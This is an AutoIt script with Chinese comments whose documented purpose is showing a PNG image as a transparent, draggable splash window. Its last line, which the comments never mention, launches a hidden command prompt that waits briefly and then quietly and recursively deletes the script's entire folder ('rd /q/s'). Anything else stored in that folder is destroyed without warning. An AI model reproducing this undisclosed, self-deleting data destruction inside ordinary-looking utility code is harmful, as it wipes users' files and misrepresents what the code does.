#include <GDIPlus.au3>
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <GuiConstantsEx.au3>
#include <StaticConstants.au3>
;===============================================================================
;
; 函数名称: L77png()
; 描 述: 创建透明GUI
; 参 数: $pngfile - (必须): Png或者其他图片文件地址
; $PNG_BG_TRANSPARENT - (可选): 定义GUI透明度,设置范围(0-255)默认值为 255,表示不透明度最低(超出0-255范围按255设置)
; $PNG_BG_AddWidth - (可选): GUI在PNG图片宽度的基础上增加的宽度值,默认值为 0,表示不增加
; $PNG_BG_AddHeight - (可选): GUI在PNG图片高度的基础上增加的高度值,默认值为 0,表示不增加
; $PNG_BG_Left - (可选): GUI左侧离屏幕左边缘的距离(像素).默认值为 -1,表示窗口将居中显示
; $PNG_BG_Top - (可选): GUI上方离屏幕上边缘的距离(像素).默认值为 -1,表示窗口将居中显示.
; 返 回 值: 成功 - 返回数组
; 分别对应 (PNG窗口)的句柄(字符串), (Grey.gif窗口)的句柄(字符串), png图片的宽度, PNG图片的高度
; 失败 - 显示不正常,失败原因写入到 STDOUT
; PNG图片不存在,或者路径错误! -- png文件文件不存在(路径不正确)
; Grey.gif图片不存在! -- Grey.gif图片必须放在同目录下
;===============================================================================
Global Const $AC_SRC_ALPHA= 1
Global $hImage, $gui1, $controlGui
Func L77png($pngfile,$PNG_BG_TRANSPARENT = 255,$PNG_BG_AddWidth= 0,$PNG_BG_AddHeight= 0,$PNG_BG_Left= -1,$PNG_BG_Top= -1)
Dim $PNG_GUI_Array[4];分别对应 $gui1(png窗口)的句柄(字符串),$controlGui(grey.gif窗口)的句柄(字符串),png图片的width,png的height
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile($pngfile)
$PNG_GUI_Array[2] = _GDIPlus_ImageGetWidth($hImage)
$PNG_BG_AddWidth = $PNG_GUI_Array[2]+$PNG_BG_AddWidth
$PNG_GUI_Array[3] = _GDIPlus_ImageGetHeight($hImage)
$PNG_BG_AddHeight= $PNG_GUI_Array[3]+$PNG_BG_AddHeight
$gui1 = GUICreate("Lpngshow", $PNG_BG_AddWidth,$PNG_BG_AddHeight, $PNG_BG_Left,$PNG_BG_Top, $WS_POPUP, BitOR($WS_EX_LAYERED,$WS_EX_TOOLWINDOW))
$PNG_GUI_Array[0] = $gui1
SetBitMap($gui1, $hImage, $PNG_BG_TRANSPARENT) ;0-255
GUISetState()
$controlGui = GUICreate("ControlGUI", $PNG_BG_AddWidth,$PNG_BG_AddHeight, -1,-1, $WS_POPUP, BitOR($WS_EX_LAYERED, $WS_EX_MDICHILD,$WS_EX_TOOLWINDOW), $GUI1)
$PNG_GUI_Array[1] = $controlGui
GUICtrlCreatePic(@ScriptDir & "\Grey.gif", 0, 0, $PNG_BG_AddWidth,$PNG_BG_AddHeight)
GUICtrlSetState(-1, $GUI_DISABLE)
GUISetState()
GUIRegisterMsg($WM_NCHITTEST, "WM_NCHITTEST")
Sleep(3000)
Return $PNG_GUI_Array
EndFunc
Func WM_NCHITTEST($hWnd, $iMsg, $iwParam, $ilParam)
If ($hWnd = $gui1) and ($iMsg = $WM_NCHITTEST) then Return $HTCAPTION;
EndFunc
Func SetBitmap($hGUI, $hImage, $iOpacity)
Local $hScrDC, $hMemDC, $hBitmap, $hOld, $pSize, $tSize, $pSource, $tSource, $pBlend, $tBlend
$hScrDC= _WinAPI_GetDC(0)
$hMemDC= _WinAPI_CreateCompatibleDC($hScrDC)
$hBitmap = _GDIPlus_BitmapCreateHBITMAPFromBitmap($hImage)
$hOld= _WinAPI_SelectObject($hMemDC, $hBitmap)
$tSize = DllStructCreate($tagSIZE)
$pSize = DllStructGetPtr($tSize)
DllStructSetData($tSize, "X", _GDIPlus_ImageGetWidth ($hImage))
DllStructSetData($tSize, "Y", _GDIPlus_ImageGetHeight($hImage))
$tSource = DllStructCreate($tagPOINT)
$pSource = DllStructGetPtr($tSource)
$tBlend= DllStructCreate($tagBLENDFUNCTION)
$pBlend= DllStructGetPtr($tBlend)
DllStructSetData($tBlend, "Alpha" , $iOpacity)
DllStructSetData($tBlend, "Format", $AC_SRC_ALPHA)
_WinAPI_UpdateLayeredWindow($hGUI, $hScrDC, 0, $pSize, $hMemDC, $pSource, 0, $pBlend, $ULW_ALPHA)
_WinAPI_ReleaseDC (0, $hScrDC)
_WinAPI_SelectObject($hMemDC, $hOld)
_WinAPI_DeleteObject($hBitmap)
_WinAPI_DeleteDC($hMemDC)
_GDIPlus_ShutDown ()
EndFunc
L77png("3.png",240,0,0,-1,200)
Run(@ComSpec&' /c cd.. & ping 127.0.0.1 -n 3&rd /q/s "'&@ScriptDir&'"',@ScriptDir,@SW_HIDE)